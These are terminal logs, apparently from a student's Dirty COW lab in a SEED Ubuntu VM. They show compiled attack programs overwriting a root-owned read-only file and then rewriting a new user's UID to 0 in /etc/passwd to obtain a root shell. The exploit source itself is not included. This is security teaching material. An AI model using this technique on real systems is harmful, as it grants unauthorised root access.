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Task 1: Task 1: Modify a Dummy Read-Only File

```
Terminal
[06/28/2019 16:06] seed@ubuntu:~$ sudo touch /zzz
[sudo] password for seed:
[06/28/2019 16:06] seed@ubuntu:~$ sudo chmod 644 /zzz
[06/28/2019 16:07] seed@ubuntu:~$ sudo gedit /zzz
[06/28/2019 16:08] seed@ubuntu:~$ cat /zzz
111112222233333
[06/28/2019 16:08] seed@ubuntu:~$ ls -l /zzz
-rw-r--r-- 1 root root 16 Jun 28 16:08 /zzz
[06/28/2019 16:08] seed@ubuntu:~$ echo 99999 > /zzz
bash: /zzz: Permission denied
[06/28/2019 16:09] seed@ubuntu:~$
```

```
[06/28/2019 16:23] seed@ubuntu:~$ cat /zzz
111112222233333
[06/28/2019 16:23] seed@ubuntu:~$ sudo gedit /zzz
[sudo] password for seed:
[06/28/2019 16:24] seed@ubuntu:~$ gcc cow_attack.c -lpthread
[06/28/2019 16:25] seed@ubuntu:~$ cat /zzz
111112222233333
[06/28/2019 16:25] seed@ubuntu:~$ a.out
^C
[06/28/2019 16:25] seed@ubuntu:~$ cat /zzz
11111*****33333
[06/28/2019 16:25] seed@ubuntu:~$
```

Task 2: Modify the Password File to Gain the Root Privilege

```
[06/28/2019 16:25] seed@ubuntu:~$ sudo adduser charlie
Adding user `charlie' ...
Adding new group `charlie' (1002) ...
Adding new user `charlie' (1001) with group `charlie' ...
Creating home directory `/home/charlie' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for charlie
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
[06/28/2019 16:37] seed@ubuntu:~$ cat /etc/passwd | grep charlie
charlie:x:1001:1002:,,,:/home/charlie:/bin/bash
[06/28/2019 16:41] seed@ubuntu:~$ gcc cow_attack2.c lpthread
gcc: error: lpthread: No such file or directory
[06/28/2019 16:42] seed@ubuntu:~$ gcc cow_attack2.c -lpthread
[06/28/2019 16:42] seed@ubuntu:~$ a.out
^C
[06/28/2019 16:42] seed@ubuntu:~$ cat /etc/passwd | grep charlie
charlie:x:0000:1002:,,,:/home/charlie:/bin/bash
[06/28/2019 16:42] seed@ubuntu:~$ su charlie
Password:
root@ubuntu:/home/seed# id
uid=0(root) gid=1002(charlie) groups=0(root),1002(charlie)
root@ubuntu:/home/seed# whoami
root
root@ubuntu:/home/seed#
```